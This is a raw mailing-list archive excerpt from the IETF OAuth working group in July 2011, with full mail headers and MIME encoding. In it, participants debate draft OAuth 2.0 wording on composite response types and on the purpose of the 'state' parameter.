Fr= om: Eran Hammer-Lahav [mailto:eran@hue= niverse.com]
Sent: Friday, July 15, 2011 10:14 AM
To: Mike Jones; oauth@ietf.org
Sub= ject: RE: Issue 18: defining new response types

=A0

You can=92t have it both way. Either it i= s a simple string comparison or it requires parsing of the string. The curr= ent prose is designed to offer a visual cue without making any code changes= to how response types are compared. To allow different orders, we have to = turn the value to a parsed list.

=A0

EHL

=A0=

From: oauth-bounces@ietf.org [mailto:oauth= -bounces@ietf.org] On Behalf Of Mike Jones
Sent: Friday, July 15, 2011 10:02 AM
To: oauth@ietf.org
Subject: [O= AUTH-WG] Issue 18: defining new response types

=A0

I = agree that this functionality is needed.=A0 However, I believe its current = embodiment is overly restrictive.=A0 I would suggest changing this text:=

Only one response type of each c= ombination may be registered and used for making requests. Composite respon= se types are treated and compared in the same as manner as non-composite re= sponse types. The "+" notation is meant only to improve human rea= dability and is not used for machine parsing.

For example, an extension can de= fine and register the token+code response = type. However, once registered, the same combination cannot be registered a= s code+token= , or used to make an authoriza= tion request.

to this:

The order of the composite response type values is not sig= nificant.=A0 For instance, the composite response types token+code and code+token ar= e equivalent.=A0 Each composite response type value MUST occur only once. <= u>

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Thanks,<= /u>

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0 -- Mike

=A0


__________________________= _____________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth




--
-------------------= -----------------------------------------------
Never send sensitive or = private information via email unless it is encrypted. http://www.gnupg.org
--0016e650a4f2fab22e04a820d819-- From lear@cisco.com Sun Jul 17 02:49:24 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 344CB21F86AE for ; Sun, 17 Jul 2011 02:49:24 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -110.603 X-Spam-Level: X-Spam-Status: No, score=-110.603 tagged_above=-999 required=5 tests=[AWL=-0.004, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GU2B8-+XLGxy for ; Sun, 17 Jul 2011 02:49:23 -0700 (PDT) Received: from ams-iport-1.cisco.com (ams-iport-1.cisco.com [144.254.224.140]) by ietfa.amsl.com (Postfix) with ESMTP id 478C721F869E for ; Sun, 17 Jul 2011 02:49:23 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=lear@cisco.com; l=440; q=dns/txt; s=iport; t=1310896163; x=1312105763; h=message-id:date:from:mime-version:to:cc:subject: references:in-reply-to:content-transfer-encoding; bh=XEfwaBnSDTGRRUJTnXJ2p3FJAq8lt6S67dbX1ZExn4o=; b=HD0z7TFxbJAYKjGI0zWmsf4stj96SiLIGdigqV8P8eHhwUOPZ6hps5bk L7O/Kv8ZFqBGRry8b9wOlV47j0FlK4PCOW2fbdnlOLufVUca6uZ7Umfl5 cqWICNbW8qsgMV5eL0G3o7wr8bH77Xoxg7f1c98ypCZI+4ixikjdckm0Y g=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av0EAOyvIk6Q/khL/2dsb2JhbABShEmjLXetAY0cj3mBK4QCgQ8EkmaQVw X-IronPort-AV: E=Sophos;i="4.67,217,1309737600"; d="scan'208";a="102747925" Received: from ams-core-2.cisco.com ([144.254.72.75]) by ams-iport-1.cisco.com with ESMTP; 17 Jul 2011 09:49:21 +0000 Received: from ams3-vpn-dhcp5405.cisco.com (ams3-vpn-dhcp5405.cisco.com [10.61.85.28]) by ams-core-2.cisco.com (8.14.3/8.14.3) with ESMTP id p6H9nLm6000753; Sun, 17 Jul 2011 09:49:21 GMT Message-ID: <4E22B021.7080009@cisco.com> Date: Sun, 17 Jul 2011 11:49:21 +0200 From: Eliot Lear User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Bob Van Zant References: In-Reply-To: X-Enigmail-Version: 1.2 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 17 Jul 2011 09:49:24 -0000 Bob, Just on this one point: On 7/15/11 5:35 PM, Bob Van Zant wrote: > The spec says that the value is opaque and that > I need to accept, store, and reply with exactly what the client sent > me. Where does it actually require you to "store" the "state" contents beyond the point where you issue your reply? One other point: if the redirection_uri can have fragments and can be provided, why is state necessary? Eliot From bigbadbob0@gmail.com Sun Jul 17 12:07:20 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4CBAD21F86DC for ; Sun, 17 Jul 2011 12:07:20 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.836 X-Spam-Level: X-Spam-Status: No, score=-2.836 tagged_above=-999 required=5 tests=[AWL=0.141, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id CJ3Ol3UnxIDO for ; Sun, 17 Jul 2011 12:07:19 -0700 (PDT) Received: from mail-qy0-f172.google.com (mail-qy0-f172.google.com [209.85.216.172]) by ietfa.amsl.com (Postfix) with ESMTP id B9AB821F86D4 for ; Sun, 17 Jul 2011 12:07:19 -0700 (PDT) Received: by qyk9 with SMTP id 9so1566295qyk.10 for ; Sun, 17 Jul 2011 12:07:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=WKEVgx8OS3+Ed888D4tVxjVR3PEj+MyXeApaRzYD/wo=; b=AhR+ixiAB7T193LbJcciabtPb9s3M6cQsx/DQzQMLPcv7X9D6P2TqyLsTLGjTyrpxJ d/L1JGLI1ejqe0EJUl1zDJSM3VyoysoGxU96wLLe4GmUKdK/xf6h3qUoJGk9kwoC4Ynh 0eOl4nzhv3CkXz6akg6qtE9EZ7xAPsI6v38V0= MIME-Version: 1.0 Received: by 10.229.226.68 with SMTP id iv4mr4367572qcb.79.1310929639051; Sun, 17 Jul 2011 12:07:19 -0700 (PDT) Sender: bigbadbob0@gmail.com Received: by 10.229.100.136 with HTTP; Sun, 17 Jul 2011 12:07:19 -0700 (PDT) In-Reply-To: <4E22B021.7080009@cisco.com> References: <4E22B021.7080009@cisco.com> Date: Sun, 17 Jul 2011 12:07:19 -0700 X-Google-Sender-Auth: z3jg5sixEMjl9iascXFK5C-Pi2g Message-ID: From: Bob Van Zant To: Eliot Lear Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 17 Jul 2011 19:07:20 -0000 On Sun, Jul 17, 2011 at 2:49 AM, Eliot Lear wrote: > Bob, > > Just on this one point: > > On 7/15/11 5:35 PM, Bob Van Zant wrote: >> The spec says that the value is opaque and that >> I need to accept, store, and reply with exactly what the client sent >> me. > > Where does it actually require you to "store" the "state" contents > beyond the point where you issue your reply? Beyond the reply, you're right. I exaggerate a little. I sort of wish application developers would figure out their own way to manage state. Or, like I've asked for here, at least give me something in the spec that allows me to impose limits. > > One other point: if the redirection_uri can have fragments and can be > provided, why is state necessary? Just to be clear, section 3.1.2 says that the redirect URI: MAY include a query component which MUST be retained by the authorization server when adding additional query parameters, and MUST NOT include a fragment component. So the app developer could stick anything they want in the querystring and as the authorization server we have to hang on to that in addition to the state variable. -Bob From eran@hueniverse.com Mon Jul 18 23:22:15 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 96FD121F8663 for ; Mon, 18 Jul 2011 23:22:15 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.582 X-Spam-Level: X-Spam-Status: No, score=-2.582 tagged_above=-999 required=5 tests=[AWL=0.016, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id mS+bB8juP03Y for ; Mon, 18 Jul 2011 23:22:14 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id D54AA21F8589 for ; Mon, 18 Jul 2011 23:22:13 -0700 (PDT) Received: (qmail 26772 invoked from network); 19 Jul 2011 06:22:12 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 19 Jul 2011 06:22:12 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 18 Jul 2011 23:22:12 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Mon, 18 Jul 2011 23:21:49 -0700 Thread-Topic: Proposed change to section 8.4. Defining New Authorization Endpoint Response Types Thread-Index: AcxF2IFuXcht7wZvT3mPDMC79ij6zg== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0653P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 06:22:15 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0653P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I have tried to accommodate both the use cases and concerns raised. The new= text allows the registration of composite response types in which the orde= r of the space-delimited values does not matter. However, every combination= must be registered in order to avoid developers guessing what an unregiste= red combination might mean. Feedback requested. EHL --- 8.4. Defining New Authorization Endpoint Response Types New response types for use with the authorization endpoint are defined and registered in the authorization endpoint response type registry following the procedure in Section 11.3. Response type names MUST conform to the response-type ABNF. response-type =3D response-name *( SP response-name ) response-name =3D 1*response-char response-char =3D "_" / DIGIT / ALPHA The space character (%x20) is reserved for defining composite response t= ypes. Each composite response types MUST be registered, even if each of its com= ponents are individually registered. The order of components in a composite resp= onse type does not matter. The meaning of unregistered composite response types ma= de up of individually registered values is undefined. For example, the response type "token code" is left undefined by this sp= ecification. However, an extension can define and register the "token code" response = type. Once registered, the same combination cannot be registered as "code token= ", but both values can be used to make an authorization request, and refer to t= he same response type. Also, change the definition of response_type in section 3.1.1: response_type REQUIRED. The value MUST be one of "code" for requesting an authorization code as described by Section 4.1.1, "token" for requesting an access token (implicit grant) as described by Section 4.2.1, or a registered extension value as described by Section 8.4. A value containing one or more space characters (%x25= ) identifies a composite response type in which the order of the space-delimited sub-values does not matter. --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0653P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I have tried to = accommodate both the use cases and concerns raised. The new text allows the= registration of composite response types in which the order of the space-d= elimited values does not matter. However, every combination must be registe= red in order to avoid developers guessing what an unregistered combination = might mean.

 

Feedback requested.

=  

EHL

 

---

 

8.4.  Defining New Au= thorization Endpoint Response Types

 

   New response types for u= se with the authorization endpoint are

&= nbsp;  defined and registered in the authorization endpoint response t= ype

   registry following the = procedure in Section 11.3.  Response type

   names MUST conform to the response-type ABNF.

 

 &= nbsp;   response-type  =3D response-name *( SP response-name= )

     response-nam= e  =3D 1*response-char

  =    response-char  =3D "_" / DIGIT / ALPHA

 

 =   The space character (%x20) is reserved for defining composite respon= se types.

  Each composite re= sponse types MUST be registered, even if each of its components<= /p>

   are individually registered. The order= of components in a composite response type

   does not matter. The meaning of unregistered composite res= ponse types made up of

   indi= vidually registered values is undefined.

 

   For example, the re= sponse type “token code” is left undefined by this specificatio= n.

   However, an extension ca= n define and register the "token code" response type.<= /p>

  Once registered, the same combination = cannot be registered as "code token", but

   both values can be used to make an authorization = request, and refer to the same

  &n= bsp;response type.

 

=

Also, change the definition of response_type in sectio= n 3.1.1:

 

   response_type

=          REQUIRED.  The value = MUST be one of "code" for requesting an

         authorization co= de as described by Section 4.1.1, "token" for

         requesting= an access token (implicit grant) as described by

         Section 4.2.1, o= r a registered extension value as described by

         Section 8.4. A valu= e containing one or more space characters (%x25)

         identifies a comp= osite response type in which the order of the

         space-delimited sub-= values does not matter.

 

 

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0653P3PW5EX1MB01E_-- From eran@hueniverse.com Mon Jul 18 23:26:22 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0342E21F84F8 for ; Mon, 18 Jul 2011 23:26:22 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.582 X-Spam-Level: X-Spam-Status: No, score=-2.582 tagged_above=-999 required=5 tests=[AWL=0.016, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id TKQYMz1fPBYy for ; Mon, 18 Jul 2011 23:26:21 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 2423921F850F for ; Mon, 18 Jul 2011 23:26:21 -0700 (PDT) Received: (qmail 3769 invoked from network); 19 Jul 2011 06:26:20 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 19 Jul 2011 06:26:20 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 18 Jul 2011 23:26:20 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Mon, 18 Jul 2011 23:25:57 -0700 Thread-Topic: Request to close issues Thread-Index: AcxF3IqDWoghXqKgQDqrwQ7lQApmSg== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0654@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0654P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: [OAUTH-WG] Request to close issues X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 06:26:22 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0654P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I would like to ask the chairs to close the following issues: #15 section 2 #16 section 3.1.2 #17 section 3.2.1 I have posted a new proposal for #18 section 8.4 for the WG to consider in = order to close the issue. EHL --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0654P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I would like to = ask the chairs to close the following issues:

 

#15 section 2

#16 section 3.1.2

= #17 section 3.2.1

 

<= p class=3DMsoNormal>I have posted a new proposal for #18 section 8.4 for th= e WG to consider in order to close the issue.

 

EHL

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0654P3PW5EX1MB01E_-- From eran@hueniverse.com Mon Jul 18 23:32:44 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6D5B921F85AC for ; Mon, 18 Jul 2011 23:32:44 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.583 X-Spam-Level: X-Spam-Status: No, score=-2.583 tagged_above=-999 required=5 tests=[AWL=0.016, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id o+qqTbnh2Qq1 for ; Mon, 18 Jul 2011 23:32:44 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id E373521F8577 for ; Mon, 18 Jul 2011 23:32:43 -0700 (PDT) Received: (qmail 10029 invoked from network); 19 Jul 2011 06:32:43 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 19 Jul 2011 06:32:43 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 18 Jul 2011 23:32:43 -0700 From: Eran Hammer-Lahav To: Eliot Lear , Bob Van Zant Date: Mon, 18 Jul 2011 23:32:20 -0700 Thread-Topic: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Thread-Index: AcxEZuTF9ic1HEHFTOKq4n5iFn1w9gBdhXKA Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> In-Reply-To: <4E22B021.7080009@cisco.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 06:32:44 -0000 > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of= Eliot Lear > Sent: Sunday, July 17, 2011 2:49 AM > One other point: if the redirection_uri can have fragments and can be > provided, why is state necessary? First, I assume you mean query instead of fragment. This was discussed on the list about a year ago. There isn't a requirement = to support both dynamic redirection URIs as well as a special state paramet= er. However, the state parameter provides a better way to allow customizati= on of the redirection request alongside full registration of the redirectio= n URI. Section 3.1.2 recommends using the state parameter over changing the= redirection URI itself. Using state is much simpler because the authorization server does not have = to implement potentially insecure URI comparison algorithms for dynamic red= irection URIs. EHL From aiden449@gmail.com Tue Jul 19 04:38:46 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7E57621F875E for ; Tue, 19 Jul 2011 04:38:46 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.998 X-Spam-Level: X-Spam-Status: No, score=-2.998 tagged_above=-999 required=5 tests=[AWL=0.600, BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id PuB75iRAg4mq for ; Tue, 19 Jul 2011 04:38:42 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id 5925F21F853B for ; Tue, 19 Jul 2011 04:38:42 -0700 (PDT) Received: by qwc23 with SMTP id 23so3336134qwc.31 for ; Tue, 19 Jul 2011 04:38:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=vvKkrX8gASotrNG06pQN3f/ZHF25GrpfNs2v6glHv/s=; b=NCj2EC2qBVd8HPUOoMi6IhQixsjbrg6HAe6MdAWffbk6SZVu3rLgoU3AQUEp/A4TkT WLnPhbOvLJdZwhE6fonh1/td6knZtbhZXD4MwxOFm/o2QMFuYXMHZb69LREMHxx9HQmV MIdFprd8LBpmIu/+6JTPPv6AkzdnfLZEPXWGY= MIME-Version: 1.0 Received: by 10.229.198.233 with SMTP id ep41mr5734024qcb.199.1311075520500; Tue, 19 Jul 2011 04:38:40 -0700 (PDT) Received: by 10.229.14.42 with HTTP; Tue, 19 Jul 2011 04:38:40 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Tue, 19 Jul 2011 12:38:40 +0100 Message-ID: From: Aiden Bell To: Eran Hammer-Lahav , oauth@ietf.org Content-Type: multipart/alternative; boundary=001636d33ba7ac542704a86a8e8d Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Jul 2011 11:38:46 -0000 --001636d33ba7ac542704a86a8e8d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I think the wording is much improved here with regards implied relationship= s between composite and non-composite types. However, given this new found unambiguity, I think the use of the term "composite response types" is misleading, as what is being described is just a characteristics of "identifiers containing spaces". This newest 8.3 doesn't state if elements in the collection MUST also be registered. This leads me to (correctly?) think I can register a list of elements where the components may or may not be registered themselves. In this case, we have a registered list of response type identifiers rather than a list of response types registered. I would propose the following modification, which puts the policy-ish term of "compounding" elements, more in the realm of registration, as the term "compounding" seem= s to imply compound semantics, but the registration part has a mechanism-not-policy approach. The space character (%x20) is reserved for defining a collection of response type identifiers. Each collection of response type identifiers MUST be registered, even if each of its components are individually registered. The order of components in a response type identifier collection does not matter. The meaning of unregistered collections of response typ= e identifiers made up of individually registered values is undefined. For example, the response type =93token code=94 is left undefined by thi= s specification. However, an extension can define and register the "token code" response type identifier collection and its composite behavior. Once registered, the same combination cannot be registered as "code token", but both values can be used to make an authorization request, and refer to the same response type. Apologies if this is unsuitable, i'm just looking at it as an implementor and questioning my own assumptions, then trying to make the text clearer. The validity of my assumptions isn't presumed. Thanks, Aiden Bell On 19 July 2011 07:21, Eran Hammer-Lahav wrote: > I have tried to accommodate both the use cases and concerns raised. The n= ew > text allows the registration of composite response types in which the ord= er > of the space-delimited values does not matter. However, every combination > must be registered in order to avoid developers guessing what an > unregistered combination might mean. **** > > ** ** > > Feedback requested.**** > > ** ** > > EHL**** > > ** ** > > ---**** > > ** ** > > 8.4. Defining New Authorization Endpoint Response Types**** > > ** ** > > New response types for use with the authorization endpoint are**** > > defined and registered in the authorization endpoint response type**** > > registry following the procedure in Section 11.3. Response type**** > > names MUST conform to the response-type ABNF.**** > > ** ** > > response-type =3D response-name *( SP response-name )**** > > response-name =3D 1*response-char**** > > response-char =3D "_" / DIGIT / ALPHA**** > > ** ** > > The space character (%x20) is reserved for defining composite response > types.**** > > Each composite response types MUST be registered, even if each of its > components**** > > are individually registered. The order of components in a composite > response type**** > > does not matter. The meaning of unregistered composite response types > made up of**** > > individually registered values is undefined.**** > > ** ** > > For example, the response type =93token code=94 is left undefined by t= his > specification.**** > > However, an extension can define and register the "token code" respons= e > type.**** > > Once registered, the same combination cannot be registered as "code > token", but**** > > both values can be used to make an authorization request, and refer to > the same**** > > response type.**** > > ** ** > > Also, change the definition of response_type in section 3.1.1:**** > > ** ** > > response_type**** > > REQUIRED. The value MUST be one of "code" for requesting an**** > > authorization code as described by Section 4.1.1, "token" for***= * > > requesting an access token (implicit grant) as described by**** > > Section 4.2.1, or a registered extension value as described by**= * > * > > Section 8.4. A value containing one or more space characters > (%x25)**** > > identifies a composite response type in which the order of the**= * > * > > space-delimited sub-values does not matter.**** > > ** ** > > ** ** > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > --=20 ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --001636d33ba7ac542704a86a8e8d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable
I think the wording is much improved here with regards implied relation= ships between composite and non-composite types.

However, given this= new found unambiguity, I think the use of the term "composite respons= e types" is misleading, as what is being described is
just a characteristics of "identifiers containing spaces". This n= ewest 8.3 doesn't state if elements in the collection MUST also be registered.
This leads me to (correctly?) think I can register= a list of=20 elements where the components may or may not be registered=20 themselves.
In this case, we have a registered list of response type id= entifiers=20 rather than a list of response types registered.

I would propose the= following modification, which puts the policy-ish term of "compoundin= g"
elements, more in the realm of registration, as the term "= compounding" seems to imply compound semantics, but the
registration part has a mechanism-not-policy approach.

=A0

=A0=A0 The space character (%x20) is reserved for defining a= collection of response type identifiers.

=A0=A0= Each collection of response type identifiers MUST be registered, even if e= ach of its components

=A0=A0 are individually registered. The order of com= ponents in a response type identifier collection

=A0=A0 does not matter. The meaning of unregistered collections of resp= onse type identifiers made up of

=A0 =A0individually registered values is undefined.<= /p>

=A0

=A0=A0 For example,= the response type =93token code=94 is left undefined by this specification= .

=A0 =A0However, an extension can define and register the "token code&q= uot; response type identifier collection

=A0=A0 a= nd its composite behavior.

=A0=A0 Once registere= d, the same combination cannot be registered as "code token", but=

=A0 =A0both values can be used to make an authorizat= ion request, and refer to the same

=A0 =A0response type.

Apologie= s if this is unsuitable, i'm just looking at it as an implementor and q= uestioning my own assumptions,
then trying to make the text clearer. The validity of my assumptions isn= 9;t presumed.

Thanks,
Aiden Bell

On 19 July 2011 07:21, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

I have tried to accommodate both the us= e cases and concerns raised. The new text allows the registration of compos= ite response types in which the order of the space-delimited values does no= t matter. However, every combination must be registered in order to avoid d= evelopers guessing what an unregistered combination might mean. <= /u>

=A0

Feedback= requested.

=A0

EHL

=A0=

---

=A0

8.4.=A0 Defining New Authorization Endpoint Response Types

=A0

=A0=A0 New response types for use with the authorization endpoint a= re

=A0=A0 defined and registered in the authorization e= ndpoint response type

=A0=A0 regist= ry following the procedure in Section 11.3.=A0 Response type<= /p>

=A0=A0 names MUST conform to the response-type ABNF.

=A0

=A0=A0=A0=A0 = response-type=A0 =3D response-name *( SP response-name )

<= p class=3D"MsoNormal"> =A0=A0=A0=A0 response-name=A0 =3D 1*response-char

=A0=A0=A0=A0 response-char=A0 =3D "_" / DIGIT / AL= PHA

=A0

=A0=A0 The space character (%x20) is reserved for defining c= omposite response types.

=A0=A0Each composite response types MUST be registe= red, even if each of its components

=A0=A0 are individually registered. The order of components in a composite= response type

=A0=A0 does not matter. The meaning of unregistered = composite response types made up of

=A0 =A0individually registered values is undefined.

=A0

=A0=A0 For example, the respons= e type =93token code=94 is left undefined by this specification.<= /u>

=A0 =A0However, an extension can define and r= egister the "token code" response type.

=A0=A0Once registered, the same combination cannot = be registered as "code token", but

=A0 =A0both values can be used to make an authorization request, = and refer to the same

=A0 =A0response type.

=A0

Also, change the defi= nition of response_type in section 3.1.1:

=A0

=A0=A0 response_type

